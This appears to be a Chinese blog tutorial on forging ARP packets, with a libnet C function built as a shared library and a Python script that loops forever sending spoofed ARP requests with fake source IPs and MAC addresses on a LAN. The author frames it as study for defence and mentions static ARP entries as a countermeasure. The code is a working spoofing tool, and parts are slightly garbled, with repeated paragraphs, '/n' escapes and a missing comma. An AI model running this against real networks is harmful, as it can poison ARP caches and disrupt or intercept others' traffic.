一臺網絡中的計算機,其傳遞到網絡中的數據包的內容是完全由其軟硬件邏輯決定的,軟件可以操控硬件,硬件亦是一種特殊的軟件,所以,接收者只根據數據包的內容,絕不可能判定此數據包的真正來源,一切都是可以偽造的。
網絡系統功與防的矛盾斗爭,可以使得我們更加快速的發現并修補系統漏洞,而且這種矛盾關系必然存在。
人外有人,天外有天。
攻的最高境界便是不戰,是和平。
靜態arp表項輕松破解ARP偽造報文的攻擊。我們研究偽造報文的目的在于深刻理解系統以更好地防御,而非攻擊。
ARP : Address Resolution PRotocol,地址解析協議,其基本功能為通過目標設備的ip地址,查詢目標設備的MAC地址,以保證通信的順利進行。它是IPv4中網絡層必不可少的協議,不過在IPv6中已不再適用,并被鄰居發現協議(NDP)所替代。
——維基百科
基礎資料推薦:《TCP-IP詳解 卷1:協議》《ARP協議簡介》
需要注意,書中闡述的大多數arp緩存更新規則對現代操作系統已經不再適用,試想,一次ARP廣播就可以更新當前局域網中所有主機的arp緩存條目,這是多么大的系統漏洞?一輪ARP偽造報文的攻擊,便能使這個局域網主機之間的通訊陷入癱瘓。所以,現代操作系統采取了更加保守的arp緩存更新規則,上圖已在Win7-64位操作系統與linux 2.6.32內核上獲得驗證。
一臺網絡中的計算機,其傳遞到網絡中的數據包的內容是完全由其軟硬件邏輯決定的,軟件可以操控硬件,硬件也是一種特殊的軟件,所以,接收者只根據數據包的內容,絕不可能判定此數據包的真正來源,一切都是可以偽造的。
操作系統與硬件具有構造數據包的能力,當操作系統把這種能力以系統調用的方式提供給編程者時,則,編程者亦擁有了構造任意數據包的能力。
而Libnet又對這些系統調用進行了又一次的邏輯封裝,將這些能力以更加容易使用的方式展露出來,以加快應用程序的開發速度。
實驗環境為GNU/Linux,以太網,主機應已安裝libnet。
ForgeArp.c
1 //// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <string.h> 5 #include <unistd.h> 6 #include <libnet.h> 7 #define MAC_ADDR_LEN 6 8 #define IP_ADDR_LEN 4 9 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,10 char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes11 )12 {13 libnet_t *net_t = NULL; 14 unsigned long src_ip,dst_ip = 0; 15 char err_buf[LIBNET_ERRBUF_SIZE];16 libnet_ptag_t p_tag; 17 unsigned int i=0;18 src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);19 if (src_ip==-1)20 {21 printf("error: libnet_name2addr4 src_ip /n");22 return 1;23 }24 dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);25 if (dst_ip==-1)26 {27 printf("error: libnet_name2addr4 dst_ip /n");28 return 1;29 }30 31 printf("the src_ip_str is %s,uint32 src_ip is %d/n",src_ip_str,src_ip);32 printf("the dst_ip_str is %s,uint32 dst_ip is %d/n",dst_ip_str,dst_ip);33 34 net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); 35 if(net_t == NULL)36 {37 printf("libnet_init error/n");38 return 2;39 }40 41 p_tag = libnet_build_arp(42 ARPHRD_ETHER,//hardware type ethernet43 ETHERTYPE_IP,//protocol type44 MAC_ADDR_LEN,//mac length45 IP_ADDR_LEN,//protocol length46 arpOp,//op type47 (u_int8_t *)src_mac,//source mac addr48 (u_int8_t *)&src_ip,//source ip addr49 (u_int8_t *)dst_mac,//dest mac addr50 (u_int8_t *)&dst_ip,//dest ip addr51 NULL,//payload52 0,//payload length53 net_t,//libnet context54 0//0 stands to build a new one55 );56 57 if(-1 == p_tag)58 {59 printf("libnet_build_arp error/n");60 libnet_destroy(net_t);61 return 3;62 }63 64 p_tag = libnet_build_ethernet(//create ethernet header65 (u_int8_t *)dst_mac,//dest mac addr66 (u_int8_t *)src_mac,//source mac addr67 ETHERTYPE_ARP,//protocol type68 NULL,//payload69 0,//payload length70 net_t,//libnet context71 0//0 to build a new one72 );73 74 if(-1 == p_tag)75 {76 printf("libnet_build_ethernet error!/n");77 libnet_destroy(net_t);78 return 4;79 }80 81 int res;82 i=0;83 for(;i<sendTimes;i++)84 if(-1 == (res = libnet_write(net_t)))85 {86 printf("libnet_write error!/n");87 libnet_destroy(net_t);88 return 5;89 }90 91 libnet_destroy(net_t);92 return 0;93 FAIL: 94 libnet_destroy(net_t);95 return 6;96 }
我們已經將ForgeArp功能編譯成了shared object,接下來Python入場。
forgeArpTest.py
1 """ 2 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 3 char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes 4 ) 5 """ 6 import time 7 import random 8 from ctypes import * 9 arpLib=CDLL('./ForgeArp.so')10 11 def MacTran(macStr):12 MacType= c_ubyte * 613 macStr=macStr.translate(None,":")14 return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),/15 int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))16 while True:17 lis=["192.168.0."]18 lis.append(str(int(random.random()*1000/4)))19 if lis[1]=='36':20 continue21 arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") /22 ,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))23 time.sleep(1)24 25 print ":)"
關于ForgeAndSendArp函數中arpOp參數的選項如下:
// 源碼頭文件libnet-1.2-rc3/include/libnet/libnet-headers.h
1 // 僅摘部分內容2 uint16_t ar_op; /* Operation type */3 #define ARPOP_REQUEST 1 /* req to resolve address */4 #define ARPOP_REPLY 2 /* resp to previous request */5 #define ARPOP_REVREQUEST 3 /* req protocol address given hardware */6 #define ARPOP_REVREPLY 4 /* resp giving protocol address */7 #define ARPOP_INVREQUEST 8 /* req to identify peer */8 #define ARPOP_INVREPLY 9 /* resp identifying peer */
代碼測試無誤。
靜態arp表項輕松破解ARP偽造報文的攻擊。我們偽造報文的目的在于深刻理解系統以更好地防御,而非攻擊。
如有問題或者優化建議,歡迎討論!
新聞熱點
疑難解答